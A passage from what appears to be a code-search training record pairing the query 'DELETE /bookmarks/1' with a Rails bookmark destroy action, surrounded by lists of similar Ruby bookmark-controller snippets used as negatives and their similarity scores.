"def newbookmark\n @bookmarklet = bookmarklet_params(params)\n @event = @calendar.events.build\n \n respond_to do |format|\n format.html # newbookmark.html.erb\n format.xml { render :xml => @event }\n end\n end",
"def bookmark_params\n params.require(:bookmark).permit(:user_id, :record_id)\n end",
"def update\n bookmark = Bookmark.find_by(id: params[:id])\n bookmark.update(\n name: bookmark.name,\n path: bookmark.path,\n note_id: params[:note_id],\n user_id: current_user.id,\n screenshot_data: bookmark.screenshot_data\n )\n if bookmark.save\n render json: { message: \"success\"}\n else\n render json: { errors: bookmark.full_messages }, status: 422\n end\n end",
"def add_bookmark(url, options = {})\n perform_post_with_object('/api/1.1/bookmarks/add', options.merge(url: url), Instapaper::Bookmark)\n end",
"def bookmark_params\n params.require(:bookmark).permit(:title, :description, :url_attributes => :url)\n end",
"def index\n @bookmarks = Bookmark.all\n @bookmark = Bookmark.new\n end",
"def index\n @bookmarks = Bookmark.all\n @bookmark = Bookmark.new\n end",
"def bookmark_params\n # params.require(:bookmark).permit(:project_id)\n end",
"def bookmark_params\n params.require(:bookmark).permit(:poi_id)\n end",
"def bookmark_params\n params.require(:bookmark).permit(:bookmark_type, :user_id, :value, :cover)\n end",
"def show\n #respond_to {|format| format.json { render json: @bookmark, status: :ok } }\n end",
"def bookmarklet\n url_str = params[:url]\n url_str.insert(0, 'http://') if url_str.match('^http').nil?\n \n url = Url.find_by_url(url_str)\n if url.nil?\n url = Url.new({:url => params[:url], :icon => nil})\n if !url.save\n render :status => 404\n end\n end\n\n @bookmark = Bookmark.new({:url => url, :title => params[:title], :description => params[:description], :user => current_user})\n \n params[:tags].split(',').each do |tag|\n if Tag.where(:tagname => tag.strip.gsub(' ', '-').downcase).size == 0\n @tag = Tag.new\n @tag.tagname = tag.strip.gsub(' ','-').downcase\n @bookmark.tags << @tag\n else\n @bookmark.tags << Tag.where(:tagname => tag.strip.gsub(' ', '-').downcase).first\n end\n end \n \n end",
"def index\n\t\trespond_with current_user.bookmarks\n\tend",
"def updatebookmark\n\t\t\t\turl_str = update_bookmark_params[:url]\n\t\t\t\tannotations = get_annotations(url_str)\n\t\t\t\turl = Url.find_by_url(url_str)\t\t\n\n\t\t\t url = Url.find_by_url(update_bookmark_params[:url])\n\t\t\t if url.nil?\n\t\t\t url = Url.new({:url => update_bookmark_params[:url], :icon => annotations[:icon]})\n\t\t\t if !url.save\n\t\t\t format.json { render status: :unprocessable_entity }\n\t\t\t end\n\t\t\t else\n\t\t\t Url.update(url.id, :icon => annotations[:icon]) if url.icon.nil? && annotations[:icon] != ''\n\t\t\t end\t\n\n\t\t\t @bookmark = Bookmark.find_by_id(update_bookmark_params[:bookmark_id])\n\t\t\t if @bookmark.nil?\n\t\t\t format.json { render status: :unprocessable_entity }\n\t\t\t end\n\t\t\t @bookmark.title = update_bookmark_params[:title]\n\t\t\t @bookmark.description = update_bookmark_params[:description]\n\t\t\t @bookmark.url = url\n\t\t\t @bookmark.user_id = doorkeeper_token.resource_owner_id\n\n\t\t\t @bookmark.tags.clear\n\n\t\t\t tags = update_bookmark_params[:tags].split(\",\")\n\t\t\t tags.each do |tag|\n\t\t\t if Tag.where(:tagname => tag.strip.gsub(' ', '-').downcase).size == 0\n\t\t\t @tag = Tag.new\n\t\t\t @tag.tagname = tag.strip.gsub(' ','-').downcase\n\t\t\t @bookmark.tags << @tag\n\t\t\t else\n\t\t\t @bookmark.tags << Tag.where(:tagname => tag.strip.gsub(' ', '-').downcase).first\n\t\t\t end\n\t\t\t end unless tags.nil?\n\n\t\t\t \n\t\t \tif @bookmark.save\n\t\t \trespond_to do |format|\n\t\t\t\t\t\tformat.json{ render :json => strip_bookmark_to_json(@bookmark).to_json }\n\t\t\t\t\tend\t\t \n\t\t \telse\t\t\t \n\t\t \t format.json { render json: @bookmark.errors, status: :unprocessable_entity }\n\t\t \tend\n\t\t\tend",
"def bookmarks\n full = options[:full]\n docs = options[:doc] && documents.map { |doc| [doc.id, doc] }.to_h\n item_list.map { |item|\n next unless item.is_a?(Bookmark)\n entry = {\n document_id: item.document_id,\n document_type: item.document_type.to_s,\n lens: item.lens,\n updated_at: item.updated_at,\n created_at: item.created_at,\n }\n full && entry.merge!(\n title: item.user_type, # TODO: not persisted; should it be?\n id: item.id,\n user_id: item.user_id,\n user_type: item.user_type,\n )\n docs && entry.merge!(doc: docs[item.document_id])\n entry\n }.compact.as_json\n end",
"def new_bookmark(username, password, uri, short_description)\n representation = form_encoded({ \"bookmark[uri]\" => uri,\n \"bookmark[short_description]\" => \n short_description })\n begin\n dest = \"#{@service_root}/users/#{URI.encode(username)}/bookmarks\"\n response = open(dest, :method => :post, :body => representation,\n :http_basic_authentication => [username, password])\n puts \"Bookmark posted to #{response.meta['location']}\"\n rescue OpenURI::HTTPError => e\n response_code = e.io.status[0].to_i\n if response_code == 401 # Unauthorized\n puts \"It looks like you gave me a bad password.\"\n elsif response_code == 409 # Conflict\n puts \"It looks like you already posted that bookmark.\"\n else\n raise e\n end\n end \n end",
"def create\n @bookmark_category = BookmarkCategory.new(bookmark_category_params)\n\n respond_to do |format|\n if @bookmark_category.save\n format.html { redirect_to @bookmark_category, notice: 'Bookmark category was successfully created.' }\n format.json { render :show, status: :created, location: @bookmark_category }\n else\n format.html { render :new }\n format.json { render json: @bookmark_category.errors, status: :unprocessable_entity }\n end\n end\n end",
"def bookmark_params\n params.require(:bookmark).permit(:message_id)\n end",
"def update\n req = ActiveSupport::JSON.decode(request.body)\n @bookmark = Bookmark.find(req)\n\n respond_to do |format|\n if @bookmark.update_attributes(params[:id])\n format.html { redirect_to @bookmark, notice: 'Bookmark was successfully updated.' }\n format.json { render json: @bookmark, status: :created, location: @bookmarks }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @bookmark.errors, status: :unprocessable_entity }\n end\n end\n end",
"def save_bookmark_params\n\t\t\t params.permit(:url, :title, :description, :tags)\n\t\t\tend",
"def index\n if params[:dress_id]\n @bookmarks = @bookmarks.where(\"bookmarkable_id = ?\", params[:dress_id])\n elsif params[:vendor_id]\n @bookmarks = @bookmarks.where(\"bookmarkable_id = ?\", params[:vendor_id])\n end\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @bookmarks }\n end\n end",
"def create\n @bookmark_stat = BookmarkStat.new(params[:bookmark_stat])\n\n respond_to do |format|\n if @bookmark_stat.save\n format.html { redirect_to @bookmark_stat, :notice => t('controller.successfully_created', :model => t('activerecord.models.bookmark_stat')) }\n format.json { render :json => @bookmark_stat, :status => :created, :location => @bookmark_stat }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @bookmark_stat.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def index\n @bookmarks = @user.bookmarks\n # render json: @bookmarks\n #(.order by distance)\n end",
"def add(opts={})\r\n Rakuten::Request.get(\"https://app.rakuten.co.jp/services/api/FavoriteBookmark/Add/20120627\", Rakuten::Api.merge(opts))\r\n end",
"def create\n @nagayoshi_bookmark_log = NagayoshiBookmarkLog.new(nagayoshi_bookmark_log_params)\n\n respond_to do |format|\n if @nagayoshi_bookmark_log.save\n format.html { redirect_to @nagayoshi_bookmark_log, notice: 'Nagayoshi bookmark log was successfully created.' }\n format.json { render :show, status: :created, location: @nagayoshi_bookmark_log }\n else\n format.html { render :new }\n format.json { render json: @nagayoshi_bookmark_log.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @bookmarks = Bookmark.all\n end",
"def create\n session_user = session[:usr]\n receipe = Receipe.find(params[:receipe_id])\n \n if Bookmark.create(user_id: session_user, receipe_id: receipe.id)\n redirect_to receipe\n else\n \n end\n\n end",
"def create\n tags = params[:bookmark][:tags].split(',').map do |tag|\n Tag.new(:name => tag.strip)\n end\n # use find_or_create\n @bookmark = Bookmark.find_or_create_by_user_id_and_url(:url => params[:bookmark][:url], :title => params[:bookmark][:title], :desc => params[:bookmark][:desc], :private => params[:bookmark][:private], :user_id => params[:bookmark][:user_id], :hashed_url => Digest::MD5.hexdigest(params[:bookmark][:url]) )\n \n respond_to do |format|\n if @bookmark.save\n # add bookmark id to each tag we created\n tags.each { |t| t.bookmark_id = @bookmark.id; t.save}\n if params[:bookmark][:is_popup]\n format.html { redirect_to(@bookmark, :notice => 'Close the Window!', :locals => {:close_window => 1}) }\n else \n format.html { redirect_to(@bookmark, :notice => 'Bookmark was successfully created.') }\n format.xml { render :xml => @bookmark, :status => :created, :location => @bookmark }\n end\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @bookmark.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def new\n @bookmark_tag = BookmarkTag.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @bookmark_tag }\n end\n end",
"def index\n @bookmarks = Bookmark.all\n end",
"def create\n @bookmark = Bookmark.new(params[:bookmark])\n @bookmark.publisher = current_account\n @bookmark.should_tweet = params[:twitter]\n \n respond_to do |format|\n if @bookmark.save\n flash[:notice] = 'Bookmark was successfully created.'\n format.html { redirect_to(@bookmark) }\n format.xml { render :xml => @bookmark, :status => :created, :location => @bookmark }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @bookmark.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def savebookmark\n @bookmark_plugins = PLUGIN_CONFIG['bookmark']\n url = Url.find_by_url(timeline_bookmark_params[:url])\n if url.nil?\n url = Url.new({:url => timeline_bookmark_params[:url]})\n if !url.save\n format.html { redirect_to 'new', notice: 'Trouble saving the url.' }\n end\n end\n if params[:id].nil?\n @bookmark = Bookmark.new({:title => timeline_bookmark_params[:title], :description => timeline_bookmark_params[:description], :url => url, :user => current_user})\n else\n @bookmark = Bookmark.new({:title => timeline_bookmark_params[:title], :description => timeline_bookmark_params[:description], :url => url, :user => current_user, :group => Group.find(params[:id])})\n end\n\n tags = timeline_bookmark_params[:tags]\n tags.each do |tag|\n if Tag.where(:tagname => tag.strip.gsub(' ', '-').downcase).size == 0\n @tag = Tag.new\n @tag.tagname = tag.strip.gsub(' ','-').downcase\n @bookmark.tags << @tag\n else\n @bookmark.tags << Tag.where(:tagname => tag.strip.gsub(' ', '-').downcase).first\n end\n end unless tags.nil?\n #@bookmark = Bookmark.new(bookmark_params) #TODO: Explore this.. Above is Ugly\n\n respond_to do |format|\n if @bookmark.save\n format.html { redirect_to timeline_path, notice: 'Bookmark was successfully created.' }\n format.json { render action: 'show', status: :created, location: @bookmark }\n format.js\n else\n format.html { render action: 'new' }\n format.json { render json: @bookmark.errors, status: :unprocessable_entity }\n end\n end\n end",
"def show\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @bookmark }\n end\n end",
"def list_bookmarks(user_id)\n url = \"#{@@request_url}/User.listBookmarks?appid=#{@@appid}&ID=#{user_id}\"\n end",
"def bookmarklet\n # @bookmark = Bookmark.new(:tags => [Tag.new])\n @bookmark = Bookmark.where(:url => params[:address], :user_id => session[:user_id]).first_or_initialize(:tags => [Tag.new])\n respond_to do |format|\n format.html # bookmarklet.html.erb\n format.xml { render :xml => @bookmark }\n end\n end",
"def index\n @solicitation_bookmarks = SolicitationBookmark.all\n end",
"def set_bookmark\n @bookmark = Bookmark.find(params[:id])\n end",
"def set_bookmark\n @bookmark = Bookmark.find(params[:id])\n end",
"def set_bookmark\n @bookmark = Bookmark.find(params[:id])\n end",
"def set_bookmark\n @bookmark = Bookmark.find(params[:id])\n end",
"def set_bookmark\n @bookmark = Bookmark.find(params[:id])\n end"
] |
[
"0.7601388",
"0.7501046",
"0.7428683",
"0.73990256",
"0.7320891",
"0.7053024",
"0.7021579",
"0.68947303",
"0.6827968",
"0.6793302",
"0.67932713",
"0.6715096",
"0.6694452",
"0.66603863",
"0.6629462",
"0.6622624",
"0.66059315",
"0.66040224",
"0.6578182",
"0.6558899",
"0.6548775",
"0.6541585",
"0.6541585",
"0.6533351",
"0.65326715",
"0.65259546",
"0.65047073",
"0.64664817",
"0.6447303",
"0.64444786",
"0.6424485",
"0.64154345",
"0.64131707",
"0.6411032",
"0.64059067",
"0.6381971",
"0.6380195",
"0.63335353",
"0.63244706",
"0.63229835",
"0.63229835",
"0.63140255",
"0.63059604",
"0.62978935",
"0.6294728",
"0.6227627",
"0.6217259",
"0.62155837",
"0.61976886",
"0.6170362",
"0.6166054",
"0.6162425",
"0.6158667",
"0.61519",
"0.6128594",
"0.6127571",
"0.6125264",
"0.61220676",
"0.6113818",
"0.6113539",
"0.6092571",
"0.60915154",
"0.60746425",
"0.60632664",
"0.6051325",
"0.6051325",
"0.6051015",
"0.60427487",
"0.6029079",
"0.6020565",
"0.5994063",
"0.5984159",
"0.5972167",
"0.59656805",
"0.5961141",
"0.5958014",
"0.59543204",
"0.59537345",
"0.59502625",
"0.59502614",
"0.594238",
"0.5934987",
"0.592074",
"0.591706",
"0.59100085",
"0.59062135",
"0.58991975",
"0.58838826",
"0.58753866",
"0.5860267",
"0.584281",
"0.5840613",
"0.58338404",
"0.57609886",
"0.5759858",
"0.5755835",
"0.5755835",
"0.5755835",
"0.5755835",
"0.5755835"
] |
0.67191845
|
11
|
DELETE /bookmarks/1 DELETE /bookmarks/1.json
|
def destroy
@bookmark.destroy
respond_to do |format|
format.html { redirect_to @redirect, notice: 'Bookmark was successfully destroyed.' }
format.json { head :no_content }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def destroy\n @bookmark = Bookmark.find(params[:id])\n @bookmark.destroy\n\n respond_to do |format|\n format.html { redirect_to bookmarks_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @bookmark = Bookmark.find(params[:id])\n @bookmark.destroy\n\n respond_to do |format|\n format.html { }\n format.json { head :no_content }\n end\n end",
"def destroy\n @bookmark = Bookmark.find(params[:id])\n @user = User.find(session[:user_id])\n @user.bookmarks.delete(@bookmark)\n\n respond_to do |format|\n format.html { redirect_to(bookmarks_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @bookmark.destroy\n respond_to do |format|\n format.html { redirect_to bookmarks_url, notice: 'Bookmark was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @bookmark.destroy\n respond_to do |format|\n format.html { redirect_to bookmarks_url, notice: \"Bookmark was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @bookmark = Bookmark.find(params[:id])\n @bookmark.destroy\n\n\n# if (@bookmark=Bookmark.all).blank?\n# folderArray=['ruby']\n# bookmarks= Bookmark.create([{origin: 'ruby on rails',name: 'Ruby on Rails',url: 'http://rubyonrails.org',\n# folder: folderArray,create_date: DateTime.now,visited_date: DateTime.now,modified_date: DateTime.now}])\n# end\n\n\n\n respond_to do |format|\n format.html { redirect_to bookmarks_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @bookmark.destroy\n respond_to do |format|\n format.html { redirect_to [@tag, :bookmarks], notice: \"Bookmark, #@bookmark deleted.\" }\n\n format.json { head :no_content }\n end\n end",
"def destroy\n @bookmark.destroy\n respond_to do |format|\n # format.html { redirect_to bookmarks_url, notice: 'Bookmark was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @bookmark = Bookmark.find(params[:id])\n @bookmark.destroy\n\n respond_to do |format|\n format.html { redirect_to(bookmarks_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @bookmark = Bookmark.find(params[:id])\n @bookmark.destroy\n\n respond_to do |format|\n format.html { redirect_to(bookmarks_url) }\n format.xml { head :ok }\n end\n end",
"def _delete\n # Set id and cache key\n id = @options[:id]\n cache_key = nil #\"bookmark_#{id}\"\n\n # Retrieve bookmark object\n bookmark = Taupe::Model::Bookmark.load id, cache_key\n fail \"Unknown bookmark ##{id}\" if bookmark.empty?\n\n # Delete it\n Taupe::Model::Tag.exec \"DELETE FROM bookmark_tag WHERE bookmark_id = #{bookmark.bookmark_id}\"\n bookmark.delete\n\n puts 'Bookmark deleted successfully'\n end",
"def destroy\n @bookmark.destroy\n respond_to do |format|\n format.html { redirect_to \"/timeline\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @bookmark.destroy\n respond_to do |format|\n format.html { redirect_to topic_bookmarks_url, notice: 'Bookmark was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n if @bookmark.destroy\n head :no_content\n else\n render json: { errors: @bookmark.errors }, status: :unprocessable_entity\n end\n end",
"def destroy\n @bookmark.destroy\n respond_to do |format|\n format.html { redirect_to @bookmark.poi }\n format.json { head :no_content }\n end\n end",
"def destroy\n @bookmarklet = Bookmarklet.find(params[:id])\n @bookmarklet.destroy\n\n respond_to do |format|\n format.html { redirect_to(bookmarklets_url) }\n format.xml { head :ok }\n end\n end",
"def deletebookmark\n\t\t\t\tbookmark = Bookmark.find_by_id(params[:id])\n\t\t\t\tif bookmark.user_id == doorkeeper_token.resource_owner_id\n\t\t\t\t\tbookmark.destroy\n\t\t\t\t\thead :ok\n\t\t\t\telse\n\t\t\t\t\trender :status => 504\n\t\t\t\tend\n\t\t\tend",
"def destroy\n @bookmark_stat.destroy\n\n respond_to do |format|\n format.html { redirect_to bookmark_stats_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @bookmarks =\n if params[:bookmarks]\n permit_bookmarks[:bookmarks]\n else\n [{ document_id: params[:id], document_type: blacklight_config.document_model.to_s }]\n end\n\n success = @bookmarks.all? do |bookmark|\n bookmark = current_or_guest_user.bookmarks.find_by(bookmark)\n bookmark && bookmark.delete && bookmark.destroyed?\n end\n\n if success\n if request.xhr?\n render(json: { bookmarks: { count: current_or_guest_user.bookmarks.count } })\n else\n redirect_back fallback_location: bookmarks_path, notice: I18n.t('blacklight.bookmarks.remove.success')\n end\n elsif request.xhr?\n head :internal_server_error # ajaxy request needs no redirect and should not have flash set\n else\n redirect_back fallback_location: bookmarks_path, flash: { error: I18n.t('blacklight.bookmarks.remove.failure') }\n end\n end",
"def destroy\n @bookmark = Bookmark.find(params[:id])\n @bookmark.destroy\n\n respond_to do |format|\n format.html { redirect_to :back }\n format.xml { head :ok }\n end\n end",
"def delete(opts={})\r\n Rakuten::Request.get(\"https://app.rakuten.co.jp/services/api/FavoriteBookmark/Delete/20120627\", Rakuten::Api.merge(opts))\r\n end",
"def destroy\n @bookmark_tag = BookmarkTag.find(params[:id])\n @bookmark_tag.destroy\n\n respond_to do |format|\n format.html { redirect_to bookmark_tags_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @solicitation_bookmark.destroy\n respond_to do |format|\n format.html { redirect_to solicitation_bookmarks_url, notice: 'Solicitation bookmark was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @bookmark = Bookmark.find(params[:id])\n #@bookmark.destroy\n \n #@bookmark.destroy\n #redirect_back_or root_path\n #\n #respond_to do |format|\n # format.html { redirect_to(bookmarks_url) }\n # format.xml { head :ok }\n #end\n @bookmark.destroy\n redirect_to root_path, :flash => { :success => \"Bookmark deleted!\" }\n end",
"def destroy\n @bookmark = Bookmark.where(\"user_id = ? AND raffle_id = ?\", params[:user_id], params[:raffle_id]).first\n @bookmark.destroy\n respond_to do |format|\n format.html { redirect_to bookmarked_user_path(params[:user_id]), notice: 'Rifa removida de guardadas' }\n format.json { head :no_content }\n end\n end",
"def delete\n error = true\n if params[:url]\n link = Bookmark.find_by_url(params[:url]) || nil\n if (link && link.users.include(current_user))\n bookmark = current_user.bookmarks.find(:all, :conditions => [\"link_id = ?\", link.id])\n bookmark.destroy\n link.destroy if link.bookmarks.size == 0 # destroy the link if no bookmarks are left\n error = false\n end\n end\n\n respond_to do |format|\n format.xml do\n if error\n render :xml => \"<?xml version='1.0' standalone='yes'?>\\n<result code=\\\"something went wrong\\\" />\"\n else\n render :xml => \"<?xml version='1.0' standalone='yes'?>\\n<result code=\\\"done\\\" />\"\n end\n end\n end\n end",
"def destroy\n @bookmark = Bookmark.find_by_user_id_and_book_id(current_user.id, params[:book_id])\n @bookmark.destroy\n\n respond_to do |format|\n format.html { redirect_to(:back, :notice => \"Bookmark was successfully deleted.\") }\n format.xml { head :ok }\n end\n end",
"def destroy\n if session[:user_id]\n @bookmark = Bookmark.first(:conditions => {:id => params[:id], :user_id => session[:user_id]})\n if @bookmark\n @bookmark = Bookmark.find(params[:id])\n @bookmark.destroy\n \n respond_to do |format|\n format.html { redirect_to(bookmarks_url) }\n format.xml { head :ok }\n end\n else\n redirect_to \"/bookmarks/\"\n end\n else\n redirect_to \"/login\"\n end\n end",
"def destroy\n @bookmarkable = @bookmark.bookmarkable\n #url = (bookmarkable.class.to_s == \"Dress\" ? bookmarkable : vendor_seo_path(bookmarkable))\n @bookmark.destroy\n\n respond_to do |format|\n format.js\n format.html { redirect_to request.referer }\n format.json { head :ok }\n end\n end",
"def destroy\n @nagayoshi_bookmark_log.destroy\n respond_to do |format|\n format.html { redirect_to nagayoshi_bookmark_logs_url, notice: 'Nagayoshi bookmark log was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @bookmark = Bookmark.find_by(id: params[:bookmark][:bookmark_id])\n review = @bookmark.review\n Bookmark.delete(@bookmark.id)\n redirect_to :back\n end",
"def delete; rest_delete(link('self')); end",
"def delete; rest_delete(link('self')); end",
"def destroy\n @bookmark.destroy\n flash[:notice] = ts(\"Bookmark was successfully deleted.\")\n redirect_to user_bookmarks_path(current_user)\n end",
"def destroy\n @bookmark_category.destroy\n respond_to do |format|\n format.html { redirect_to bookmark_categories_url, notice: 'Bookmark category was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete(path, params)\n headers = {:Authorization => \"token #{token}\", :content_type => :json, :accept => :json}\n res = RestClient.delete(\"#{github_api_uri}/#{path}\", params.to_json, headers)\n Yajl.load(res)\n end",
"def destroy\n session_user = session[:usr]\n receipe = Receipe.find(params[:receipe_id])\n \n if bookmark = Bookmark.find_by(user_id: session_user, receipe_id: receipe.id)\n bookmark.delete\n redirect_to receipe\n else\n \n end\n \n end",
"def destroy\n @bookmark.destroy\n flash[:notice] = t('controller.successfully_deleted', :model => t('activerecord.models.bookmark'))\n @bookmark.create_tag_index\n\n if @user\n respond_to do |format|\n format.html { redirect_to user_bookmarks_url(@user) }\n format.json { head :no_content }\n end\n else\n respond_to do |format|\n format.html { redirect_to user_bookmarks_url(@bookmark.user) }\n format.json { head :no_content }\n end\n end\n end",
"def delete\n request(:delete)\n end",
"def delete(*rest) end",
"def delete\n client.delete(\"/#{id}\")\n end",
"def destroy\n\n media_bookmarks.each do |bookmark|\n bookmark.destroy\n end\n\n @media_file.destroy\n respond_to do |format|\n format.html { redirect_to media_files_url, notice: 'Audio file was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n\t\tif params[:owner].present? && params[:post].present?\n\t\t\t@bookmark = Bookmark.where(:owner => params[:owner], :post => params[:post])\n\t\telsif params[:id].present?\n\t\t\t@bookmark = Bookmark.where(:id => params[:id])\n\t\tend\n\n\t\[email protected] do |b|\n\t\t\tb.destroy\n\t\tend\n\n\t\trender :text => \"Nothing\"\n\tend",
"def delete\n url = prefix + \"delete\"\n return response(url)\n end",
"def delete\n url = prefix + \"delete\"\n return response(url)\n end",
"def delete path\n make_request(path, \"delete\", {})\n end",
"def delete\n url = prefix + \"delete\" + id_param\n return response(url)\n end",
"def delete(*args)\n request(:delete, *args)\n end",
"def delete!\n request! :delete\n end",
"def delete\n render json: Item.delete(params[\"id\"])\n end",
"def delete\n render json: Post.delete(params[\"id\"])\n end",
"def delete_bookmark(name, bookmark_path, opts = {})\n @api_client.request_token_if_needed\n data, _status_code, _headers = delete_bookmark_with_http_info(name, bookmark_path, opts)\n rescue ApiError => error\n if error.code == 401\n @api_client.request_token_if_needed\n data, _status_code, _headers = delete_bookmark_with_http_info(name, bookmark_path, opts)\n else\n raise\n end\n return data\n end",
"def delete_document_bookmarks(name, opts = {})\n @api_client.request_token_if_needed\n data, _status_code, _headers = delete_document_bookmarks_with_http_info(name, opts)\n rescue ApiError => error\n if error.code == 401\n @api_client.request_token_if_needed\n data, _status_code, _headers = delete_document_bookmarks_with_http_info(name, opts)\n else\n raise\n end\n return data\n end",
"def delete\n client.delete(url)\n @deleted = true\nend",
"def destroy\n @bookmark = Bookmark.find(params[:id])\n if session[:user_id] != @bookmark.user_id\n flash[:error] = \"Sorry, you do not have permission to delete this bookmark.\"\n redirect_to root_url\n else \n @bookmark.destroy\n # added these 2 lines because tags are not getting deleted!\n # title = @bookmark.title\n # Bookmark.destroy(params[:id])\n # @bookmark.destroy\n\n redirect_to root_url, :notice => \"#{@bookmark.title} was deleted!\"\n end\n end",
"def delete\n render json: Like.delete(params[\"id\"])\n end",
"def destroy\n\t@tag = Tag.find(params[:id])\n\[email protected]\n\tflash[:notice] = \"Bookmark was successfully deleted\"\n\trespond_to do |format| \n\t \tformat.html {redirect_back_or current_user}\n\t\tformat.xml { head :ok }\n end\n end",
"def delete(path)\n RestClient.delete request_base+path\n end",
"def delete\n url = prefix + \"delete\"\n return response(url)\n end",
"def delete\n url = prefix + \"delete\"\n return response(url)\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete\n \n end",
"def delete\n\n end",
"def cmd_delete argv\n setup argv\n uuid = @hash['uuid']\n response = @api.delete(uuid)\n msg response\n return response\n end",
"def delete(path)\n request(:delete, path)\n end",
"def delete!( opts = {} )\n http_action :delete, nil, opts\n end",
"def destroy\n if session[:user_id] != @bookmark.user_id\n flash[:error] = \"Sorry, you do not have permission to delete this bookmark.\"\n redirect_to root_url\n else \n @bookmark.archive.destroy if @bookmark.archive\n # @bookmark.archive.try(:destroy)\n @bookmark.destroy\n redirect_to root_url, :notice => \"#{@bookmark.title} was deleted!\"\n end\n end",
"def delete\n end",
"def json_destroy_user_bookmark_by_user_id_and_by_bookmark_id_and_position\n\n\n respond_to do |format|\n\n if UsersBookmark.where('user_id = ? and bookmark_id = ? and position = ? ',params[:user_id],params[:bookmark_id],params[:position]).exists?\n\n @user_bookmark = UsersBookmark.find_by_user_id_and_bookmark_id_and_position(params[:user_id],params[:bookmark_id],params[:position])\n if @user_bookmark.destroy\n format.json { head :no_content }\n else\n format.json { render json: @user_bookmark.errors , status: :internal_server_error }\n end\n else\n format.json { render json: 'already destroy' , status: :ok }\n end\n\n end\n\n end",
"def delete\n end",
"def delete\n end",
"def delete\n end",
"def delete\n end",
"def delete\n end",
"def delete\n end",
"def delete\n end",
"def delete(path)\n\t\trequest(path, :delete)\n\tend",
"def delete\n delete_from_server single_url\n end",
"def delete!(*rest) end",
"def delete(*args)\n commit(\"delete\", *args)\n end",
"def delete\n api(\"Delete\")\n end",
"def delete_json(path)\n url = [base_url, path].join\n resp = HTTParty.delete(url, headers: standard_headers)\n parse_json(url, resp)\n end",
"def delete(path)\n request 'DELETE', path\n end",
"def destroy\n @document_history = DocumentHistory.find(params[:id])\n @document_history.destroy\n\n respond_to do |format|\n format.html { redirect_to document_histories_url }\n format.json { head :no_content }\n end\n end",
"def delete_document_bookmarks_with_http_info(name, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: PdfApi.delete_document_bookmarks ...\"\n end\n # verify the required parameter 'name' is set\n if @api_client.config.client_side_validation && name.nil?\n fail ArgumentError, \"Missing the required parameter 'name' when calling PdfApi.delete_document_bookmarks\"\n end\n # resource path\n local_var_path = \"/pdf/{name}/bookmarks/tree\".sub('{' + 'name' + '}', name.to_s)\n\n # query parameters\n query_params = {}\n query_params[:'folder'] = opts[:'folder'] if !opts[:'folder'].nil?\n query_params[:'storage'] = opts[:'storage'] if !opts[:'storage'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n # Fix header in file\n post_body = nil\n\n # http body (model)\n # Fix header in file\n # post_body = nil\n auth_names = ['JWT']\n data, status_code, headers = @api_client.call_api(:DELETE, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'AsposeResponse')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: PdfApi#delete_document_bookmarks\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def delete\n render json: Alien.delete(params[\"id\"])\n end",
"def delete\n\t\treturn self.repo.bookmark( self.name, delete: true )\n\tend",
"def delete_item(id)\n record \"/todos/delete_item/#{id}\"\n end",
"def delete(url)\n do_request(\"delete\", url)\n end",
"def destroy\n @bread.destroy\n respond_to do |format|\n format.html { redirect_to breads_url }\n format.json { head :no_content }\n end\n end",
"def delete(*args)\n prepare_request(:delete, args)\n @@client.add(:delete, @path, *args)\n end",
"def delete(_url)\n # do nothing since we can't find the key by url\n end",
"def destroy \n\n \n @todo = Todo.find(params[:id])\n @todo.destroy\n\n respond_to do |format|\n format.html { redirect_to request.env['HTTP_REFERER'] }\n format.json { head :ok }\n end\n end",
"def delete(*args)\n commit(\"delete\", *args)\n end",
"def delete(path, params={})\n request(:delete, path, params)\n end",
"def delete(path, params={})\n request(:delete, path, params)\n end",
"def delete(path, params={})\n request(:delete, path, params)\n end"
] |
[
"0.7707112",
"0.7665514",
"0.7464211",
"0.74564487",
"0.74493945",
"0.74256516",
"0.74138814",
"0.74115217",
"0.7408013",
"0.7408013",
"0.738349",
"0.7374239",
"0.7362362",
"0.7344076",
"0.7270821",
"0.7231424",
"0.7228766",
